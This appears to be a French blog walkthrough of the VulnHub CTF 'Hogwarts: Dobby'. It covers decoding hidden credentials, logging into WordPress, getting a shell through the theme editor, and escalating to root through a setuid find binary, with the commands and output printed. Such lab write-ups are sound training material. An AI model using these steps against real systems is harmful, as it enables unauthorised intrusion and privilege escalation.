Accueil Solution du CTF Hogwarts: Dobby de VulnHub
Post
Annuler

Solution du CTF Hogwarts: Dobby de VulnHub

Hogwarts: Dobby a été créé par le même auteur que le CTF Bellatrix.

On y retrouve cette idée de jeu de piste qui ne m’enchante pas, mais comme le précédent ça reste acceptable.

Harry Potter et l’encodage secret

Seul un port 80 est ouvert sur la VM et livre la page par défaut d’Apache… Sauf que, je remarque que le navigateur affiche un titre inhabituel pour la page. Il y a en effet deux indices dans le code HTML :

1
2
3
4
5
    <title>Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==</title>
    --- snip ---
    <!--
     See: /alohomora
  -->

Le base64 se décode en too easy no? Potter et à l’adresse mentionnée en commentaire, on trouve ce message :

Draco’s password is his house ;)

Via énumération je trouve aussi le fichier http://192.168.56.149/log avec le contenu suivant :

pass:OjppbGlrZXNvY2tz hint –> /DiagonAlley

Le base64 se décode en ::ilikesocks et le path mène cette fois à une installation de Wordpress.

Sur l’interface administrateur du CMS on parvient à se connecter avec les identifiants Draco / slytherin.

Depuis l’interface, on retrouve l’éditeur de thème permettant de modifier le code PHP malgré le fait que l’interface soit configurée en espagnol.

L’opération est classique donc je n’entrerais pas dans les détails. Je parviens après upload de reverse-ssh à avoir un shell interactif.

Harry Potter et les pages de manuel

L’exécutable cat a été déplacé, je le retrouve dans /usr/lib/klibc/bin/. En corrigeant la variable d’environnement PATH tout revient dans l’ordre.

La configuration Wordpress ne m’apprend rien d’intéressant :

1
2
3
4
5
6
7
8
9
10
11
/** The name of the database for WordPress */
define( 'DB_NAME', 'WordPressDB' );

/** MySQL database username */
define( 'DB_USER', 'Draco' );

/** MySQL database password */
define( 'DB_PASSWORD', 'slytherin' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

Il y a un utilisateur dobby sur le système et le mot de passe ilikesocks fonctionne.

Dans son répertoire personnel se trouve un flag :

1
2
3
4
dobby@HogWarts:~$ cat flag1.txt 
"Harry potter this year should not go to the school of wizardry"

flag1{28327a4964cb391d74111a185a5047ad}

Il y a deux binaires setuid inhabituels :

1
2
3
4
5
6
7
dobby@HogWarts:~$ find / -type f -perm -u+s 2> /dev/null
--- snip ---
/usr/bin/base32
/usr/bin/gpasswd
/usr/bin/find
/usr/bin/pkexec
--- snip ---

base32 peut servir à lire les fichiers des autres utilisateurs, mais pas à en écrire.

On se tournera alors vers la commande find avec son option -exec bien connue :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
dobby@HogWarts:~$ find /etc/ -name issue -exec /bin/dash -p \;
# id
uid=1000(dobby) gid=1000(dobby) euid=0(root) grupos=1000(dobby),4(adm),24(cdrom),30(dip),46(plugdev),121(lpadmin),132(lxd),133(sambashare)
# cd /root
# ls
proof.txt
# cat proof.txt 
                                         _ __
        ___                             | '  \
   ___  \ /  ___         ,'\_           | .-. \        /|
   \ /  | |,'__ \  ,'\_  |   \          | | | |      ,' |_   /|
 _ | |  | |\/  \ \ |   \ | |\_|    _    | |_| |   _ '-. .-',' |_   _
// | |  | |____| | | |\_|| |__    //    |     | ,'_`. | | '-. .-',' `. ,'\_
\\_| |_,' .-, _  | | |   | |\ \  //    .| |\_/ | / \ || |   | | / |\  \|   \
 `-. .-'| |/ / | | | |   | | \ \//     |  |    | | | || |   | | | |_\ || |\_|
   | |  | || \_| | | |   /_\  \ /      | |`    | | | || |   | | | .---'| |
   | |  | |\___,_\ /_\ _      //       | |     | \_/ || |   | | | |  /\| |
   /_\  | |           //_____//       .||`      `._,' | |   | | \ `-' /| |
        /_\           `------'        \ |   AND        `.\  | |  `._,' /_\
                                       \|       THE          `.\
                                            _  _  _  _  __ _  __ _ /_
                                           (_`/ \|_)/ '|_ |_)|_ |_)(_
                                           ._)\_/| \\_,|__| \|__| \ _)
                                                           _ ___ _      _
                                                          (_` | / \|\ ||__
                                                          ._) | \_/| \||___


root{63a9f0ea7bb98050796b649e85481845!!}
Cet article est sous licence CC BY 4.0 par l'auteur.